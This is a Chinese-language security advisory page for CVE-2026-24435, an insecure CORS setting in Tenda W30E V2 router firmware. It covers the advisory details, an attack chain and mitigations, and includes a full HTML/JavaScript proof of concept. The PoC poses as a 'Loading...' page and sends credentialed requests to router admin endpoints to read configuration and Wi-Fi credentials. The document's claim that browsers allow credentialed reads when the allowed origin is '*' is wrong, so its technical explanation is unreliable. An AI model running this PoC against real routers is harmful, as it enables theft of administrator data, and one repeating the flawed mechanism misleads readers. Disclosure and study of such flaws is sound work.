IPBUF安全漏洞报告
English
CVE-2026-24435 CVSS 6.5 中危

CVE-2026-24435: Tenda W30E V2 不安全CORS策略允许跨域数据访问

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2026-24435
漏洞类型
不安全的CORS配置
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Shenzhen Tenda W30E V2

相关标签

CORS配置错误跨域资源共享漏洞路由器漏洞Tenda W30E V2固件漏洞会话劫持信息泄露中等严重性认证绕过

漏洞概述

CVE-2026-24435是发生在Tenda W30E V2路由器固件中的一个中危安全漏洞。该漏洞源于设备在认证管理端点上实施了不安全的跨域资源共享(CORS)策略。具体问题在于设备同时设置了Access-Control-Allow-Origin: *(允许所有来源)和Access-Control-Allow-Credentials: true(允许携带凭证),这种配置组合违反了浏览器的同源策略安全原则。攻击者可以构造恶意网页,诱使已登录的管理员访问,从而利用管理员的认证会话向路由器管理接口发起跨域请求。由于CORS策略允许携带凭证的跨域请求,攻击者能够以管理员身份获取敏感数据,包括设备配置信息、用户凭证、网络拓扑等。攻击者无需直接接触目标设备,仅需诱导管理员访问特制网页即可实施攻击。这使得攻击具有高度隐蔽性和社会工程学特征,管理员可能在不知情的情况下泄露敏感信息。该漏洞影响固件版本V16.01.0.19(5037)及之前的所有版本。

技术细节

漏洞根源在于Tenda W30E V2路由器的Web管理界面CORS配置存在严重缺陷。正常情况下,浏览器的同源策略(Same-Origin Policy)会阻止不同源的网页互相访问资源。但CORS机制允许服务器通过特定HTTP头明确指定可信任的跨域访问来源。安全的CORS配置应当:1) 指定明确的信任来源而非通配符*;2) 避免在使用Access-Control-Allow-Credentials: true时使用Access-Control-Allow-Origin: *。然而,Tenda设备在认证端点上错误地同时启用了这两项配置。攻击者利用方式如下:1) 攻击者搭建包含恶意JavaScript的网页;2) 诱导已登录Tenda路由器管理界面的管理员访问该网页;3) 恶意脚本利用管理员的活跃会话,向路由器管理API发起fetch请求,携带cookies;4) 浏览器会先发送OPTIONS预检请求,路由器返回Access-Control-Allow-Origin: *和Access-Control-Allow-Credentials: true;5) 浏览器允许携带凭证的跨域请求通过;6) 恶意脚本获取响应数据,窃取敏感信息。攻击者可获取路由器配置、无线网络凭据、连接设备列表、端口转发规则等敏感数据。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标路由器型号为Tenda W30E V2,并确认其运行存在漏洞的固件版本。攻击者搜索目标设备的公网IP地址或内网地址。
STEP 2
准备阶段
攻击者构建包含恶意JavaScript代码的网页,该脚本将向路由器的管理API端点发起携带凭证的跨域请求。
STEP 3
诱导阶段
攻击者通过钓鱼邮件、社交工程或其他方式诱导已登录路由器管理界面的管理员访问恶意网页。管理员必须保持活跃的管理会话。
STEP 4
触发阶段
管理员的浏览器执行恶意JavaScript代码。浏览器向路由器管理接口发送GET请求,自动携带管理会话的cookies。
STEP 5
CORS绕过
路由器响应请求,返回Access-Control-Allow-Origin: *和Access-Control-Allow-Credentials: true头。浏览器验证后允许跨域脚本读取响应内容。
STEP 6
数据窃取
恶意脚本成功读取路由器响应内容,包括管理员配置、无线网络凭据、设备状态等敏感信息,并将数据发送回攻击者控制的服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-24435 PoC - Tenda W30E V2 Insecure CORS // Description: Exploits insecure CORS policy to steal sensitive data from authenticated router admin <!DOCTYPE html> <html> <head> <title>Loading...</title> </head> <body> <h1>Please wait...</h1> <script> const TARGET_ROUTER = 'http://192.168.0.1'; // Router IP, change as needed const ENDPOINTS = [ '/cgi-bin/luci/admin/system/admin', // Admin configuration '/cgi-bin/luci/admin/network/wireless', // Wireless settings '/cgi-bin/luci/admin/status', // System status '/cgi-bin/luci/admin/network/dhcp' // DHCP settings ]; async function exploitCORS() { console.log('[+] Starting CORS exploitation...'); for (const endpoint of ENDPOINTS) { try { const url = TARGET_ROUTER + endpoint; console.log('[>] Requesting: ' + url); // Send request with credentials (exploiting Access-Control-Allow-Credentials: true) const response = await fetch(url, { method: 'GET', credentials: 'include' // Include cookies/auth tokens }); if (response.ok) { const data = await response.text(); console.log('[+] Data received from ' + endpoint); // In real attack, data would be exfiltrated to attacker server console.log('Data length: ' + data.length); } } catch (error) { console.error('[-] Error: ' + error.message); } } } // Execute exploitation exploitCORS(); </script> </body> </html> // Attack flow: // 1. Attacker hosts this HTML page or injects JS via XSS if available // 2. Victim (authenticated router admin) visits the page // 3. Browser sends request with cookies to router API // 4. Router responds with CORS headers allowing any origin with credentials // 5. Victim's browser allows the response to be read by attacker page // 6. Sensitive data is exfiltrated

影响范围

Tenda W30E V2 固件版本 <= V16.01.0.19(5037)

防御指南

临时缓解措施
在厂商发布固件更新之前,可采取以下临时缓解措施:1) 避免使用路由器Web管理界面时访问其他不可信网站;2) 使用专用浏览器配置文件或隐私浏览模式访问路由器管理界面;3) 定期清除管理会话cookies,使用后及时登出;4) 在浏览器中安装CORS拦截扩展,手动阻止不安全的CORS响应头;5) 使用VPN或防火墙限制对路由器管理界面的访问,仅允许受信任的网络访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表